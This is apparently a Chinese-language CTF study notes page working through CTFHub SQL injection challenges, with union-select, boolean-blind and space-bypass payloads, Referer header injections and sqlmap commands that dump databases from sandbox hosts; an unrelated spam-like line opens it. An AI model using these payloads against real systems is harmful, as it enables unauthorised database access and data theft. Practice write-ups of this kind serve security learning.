做期貨都看那些網(wǎng)站b站推廣引流最佳方法
sql學(xué)的太不好了,回爐重造
判斷 Sql 注入漏洞的類型:
1.數(shù)字型
當輸入的參 x 為整型時,通常 abc.php 中 Sql 語句類型大致如下:select * from <表名> where id = x這種類型可以使用經(jīng)典的 and 1=1 和 and 1=2 來判斷:
??? Url 地址中輸入 http://xxx/abc.php?id= x and 1=1 頁面依舊運行正常,繼續(xù)進行下一步。
??? Url 地址中繼續(xù)輸入 http://xxx/abc.php?id= x and 1=2 頁面運行錯誤,則說明此 Sql 注入為數(shù)字型注入。
2.字符型
當輸入的參 x 為字符型時,通常 abc.php 中 SQL 語句類型大致如下:select * from <表名> where id = 'x'這種類型我們同樣可以使用 and ‘1’='1 和 and ‘1’='2來判斷:
? 1.Url 地址中輸入 http://xxx/abc.php?id= x' and '1'='1 頁面運行正常,繼續(xù)進行下一步。
? 2.Url 地址中繼續(xù)輸入 http://xxx/abc.php?id= x' and '1'='2 頁面運行錯誤,則說明此 Sql 注入為字符型注入。
?order by判斷列數(shù)
SQL的Order By語句的詳細介紹-51CTO.COM
ORDER BY語句是SQL中非常重要的一個關(guān)鍵字,它可以讓我們對查詢結(jié)果進行排序,讓結(jié)果更有意義和可讀性。我們可以使用列名、列位置和表達式來指定排序的依據(jù),并且可以按照升序或降序進行排序。同時,我們也可以指定多個排序依據(jù),以及按照不同的優(yōu)先級進行排序。
sql語句閉合
https://www.cnblogs.com/cainiao-chuanqi/p/13543280.html?
重要函數(shù)
group_concat()函數(shù)
GROUP_CONCAT(xxx):是將分組中括號里對應(yīng)的字符串進行連接.如果分組中括號里 的參數(shù)xxx有多行,那么就會將這多行的字符串連接,每個字符串之間會有特定的符號進行分隔。
GROUP_CONCAT()是MySQL數(shù)據(jù)庫提供的一個聚合函數(shù),用于將分組后的數(shù)據(jù)按照指定的順序進行字符串拼接。它可以將多行數(shù)據(jù)合并成一個字符串,并可選地添加分隔符。
information_schemainformation_schema 數(shù)據(jù)庫跟 performance_schema 一樣,都是 MySQL 自帶的信息數(shù)據(jù)庫。其中 performance_schema 用于性能分析,而 information_schema 用于存儲數(shù)據(jù)庫元數(shù)據(jù)(關(guān)于數(shù)據(jù)的數(shù)據(jù)),例如數(shù)據(jù)庫名、表名、列的數(shù)據(jù)類型、訪問權(quán)限等。
ctfhub
整數(shù)型注入
?題目已經(jīng)說了是整數(shù)型注入:
??id=1 and 1=1,有回顯
??id=1 and 1=2,無回顯,說明有注入點,判斷列數(shù)
??id=-1 union select 3,database(),查當前數(shù)據(jù)庫
-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli" ,查表
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' 查列
?id=-1 union select 1,group_concat(flag) from sqli.flag,查字段內(nèi)容
字符型注入:當輸入?yún)?shù)為字符串時,稱為字符型。數(shù)字型與字符型注入最大的區(qū)別在于:數(shù)字型不需要單引號閉合,而字符串類型一般要使用單引號來閉合。
字符型注入
手注
判斷注入類型
??id=1'and '1'='1
?id=1'and '1'='2
判斷列數(shù)
?兩列
判斷回顯位-1' union select 1,2#
-1' union select 1,database()#?
查列名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查字段名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#
?查字段內(nèi)容-1' union select 1,(select flag from flag)#
sqlmap注入
查庫
sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" --dbs -batch
查表
sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli --tables
查字段
sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli -T flag --columns?
查字段內(nèi)容
sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli -T flag -C flag --dump
布爾盲注
布爾類型(Boolean type)
布爾類型只有兩個值,True 和 False。通常用來判斷條件是否成立。計算機里的一種數(shù)據(jù)類型,一般用于邏輯運算和比較運算。
盲注
盲注是指在SQL注入過程中,SQL語句執(zhí)行的選擇后,選擇的數(shù)據(jù)不能回顯到前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之為盲注。
??? web頁面返回True 或者 false,構(gòu)造SQL語句,利用and,or,not等關(guān)鍵字
手注 ?
判斷當前數(shù)據(jù)庫名的長度
1 and length(database())=4?
匹配數(shù)據(jù)庫名的ASCII碼:把數(shù)據(jù)庫名的各個字符分別與ASCII碼匹配,每一次匹配都要跑一次ASCII表?
1 and ascii(substr(database(),1,1))=115
1 and ascii(substr(database(),2,1))=113
...
#數(shù)據(jù)庫是security,這里直接給了true值
1 and (select count(table_name) from information_schema.tables where table_schema="sqli")=2
#sqli下共是4個表,直接給了true值?
匹配表名的ASCII碼:?
?1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),1,1))=102
1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),2,1))=108
...
#sqli第一個表名是flag,直接給了true值
判斷字段(列)數(shù):?
1 and (select count(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag")=1
#flag下有1個字段,直接給了true值?
sqlmap注入
sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=" --dbs
爆庫
爆的很慢
sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=" -D sqli --tables?
爆表
sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns
爆字段
爆字段內(nèi)容,得到flag,跑的太慢了
時間盲注
手注的話基本沒方法,都是用腳本或者sqlmap還有bp
cthub——時間盲注_ctfhub時間盲注_陳藝秋的博客-CSDN博客
直接就是sqlmap
爆庫
qlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -dbs?
爆表
sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
爆字段
sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns
爆字段內(nèi)容,得到flag
sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump?
?
MySQL結(jié)構(gòu)
還是sqlmap
sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" --dbs?
sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables?
?sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol --columns?
sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol -C uzufsfbkmh --dump?
?
Cookie注入?
sqlmap
爆表
sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 --dbs?
sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli --tables?
sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli -T nstjjcciab --columns
sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli -T nstjjcciab -C modgbjjxvs --dump
UA注入
?CTFHub - UA注入-CSDN博客
有三種方式,一種是bp抓包注入,一種是sqlmap,一種是跑腳本
sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"? --level=3 --dbs
sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"? --level=3 -D sqli --tables
sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"? --level=3 -D sqli -T nirrlnzyau --columns?
sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"? --level=3 -D sqli -T nirrlnzyau -C ifvkcqvwxo --dump
?Refer注入
CTFHub - Refer注入_ctfhubrefer注入_CS_Nevvbie的博客-CSDN博客
Referer: 0 union select 1,database()
Referer: 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
?Referer: 0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='efdlqtawmh'
?Referer: 0 union select 1,group_concat(onnawcxyvb) from sqli.efdlqtawmh
空格過濾
常用繞過空格過濾的方法:
/**/、()、%0a
?id=1/**/and/**/1=1
??id=1/**/and/**/1=2,報錯了,確定是數(shù)字型注入
看回顯位
查列數(shù)
?發(fā)現(xiàn)到3沒有回顯了,一共兩列
開始注入,
查庫:?id=-1/**/union/**/select/**/1,database()
得到庫名:sqli
?id=-1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'? 查表
查字段:?id=-1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_name='lyispybtyt'
查字段內(nèi)容, 得到flag